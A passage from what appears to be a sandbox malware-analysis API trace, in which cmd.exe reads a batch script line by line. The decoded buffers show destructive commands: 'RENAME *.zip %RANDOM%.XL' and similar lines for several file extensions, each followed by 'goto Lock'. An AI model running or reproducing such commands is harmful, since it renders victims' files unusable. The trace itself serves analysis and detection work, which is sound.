[0037.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.113] GetFileType (hFile=0x74) returned 0x1 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0037.113] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=1066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0037.113] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\nan\r\n") returned 26 [0037.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0037.113] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.113] GetFileType (hFile=0x74) returned 0x1 [0037.113] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0037.114] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0037.114] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0037.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0037.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.114] GetFileType (hFile=0x74) returned 0x1 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0037.114] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=1079, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0037.114] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0037.114] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.114] GetFileType (hFile=0x74) returned 0x1 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0037.114] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.114] SetFilePointer (in: hFile=0x74, lDistanceToMove=1085, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0037.114] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0037.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0037.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.115] GetFileType (hFile=0x74) returned 0x1 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0037.115] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=1111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0037.115] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0037.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0037.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.115] GetFileType (hFile=0x74) returned 0x1 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0037.115] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=1113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0037.115] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0037.115] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.115] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0037.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.116] GetFileType (hFile=0x74) returned 0x1 [0037.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0037.116] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=1124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0037.116] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0037.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0037.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.116] GetFileType (hFile=0x74) returned 0x1 [0037.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0037.116] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=1130, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0037.116] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0037.116] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.116] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0037.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.117] GetFileType (hFile=0x74) returned 0x1 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46a [0037.117] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=1132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0037.117] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0037.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0037.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.117] GetFileType (hFile=0x74) returned 0x1 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x46c [0037.117] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=1158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0037.117] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0037.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0037.117] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.117] GetFileType (hFile=0x74) returned 0x1 [0037.117] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x486 [0037.118] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=1169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0037.118] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0037.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0037.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.118] GetFileType (hFile=0x74) returned 0x1 [0037.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x491 [0037.118] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0037.118] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.118] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.118] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0037.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.119] GetFileType (hFile=0x74) returned 0x1 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x493 [0037.119] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=1177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0037.119] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0037.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0037.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.119] GetFileType (hFile=0x74) returned 0x1 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x499 [0037.119] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=1179, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0037.119] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0037.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0037.119] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.119] GetFileType (hFile=0x74) returned 0x1 [0037.119] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x49b [0037.120] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=1205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0037.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0037.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0037.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.120] GetFileType (hFile=0x74) returned 0x1 [0037.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b5 [0037.120] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=1207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0037.120] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0037.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0037.120] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.120] GetFileType (hFile=0x74) returned 0x1 [0037.120] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b7 [0037.120] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0037.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0037.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0037.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.121] GetFileType (hFile=0x74) returned 0x1 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0037.121] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=1220, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0037.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0037.121] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.121] GetFileType (hFile=0x74) returned 0x1 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c4 [0037.121] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.121] SetFilePointer (in: hFile=0x74, lDistanceToMove=1226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0037.121] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0037.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0037.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.122] GetFileType (hFile=0x74) returned 0x1 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4ca [0037.122] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=1228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0037.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0037.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0037.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.122] GetFileType (hFile=0x74) returned 0x1 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cc [0037.122] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=1254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0037.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0037.122] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.122] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0037.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.123] GetFileType (hFile=0x74) returned 0x1 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e6 [0037.123] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=1265, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0037.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0037.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0037.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.123] GetFileType (hFile=0x74) returned 0x1 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f1 [0037.123] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0037.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f3 [0037.123] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.123] GetFileType (hFile=0x74) returned 0x1 [0037.123] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 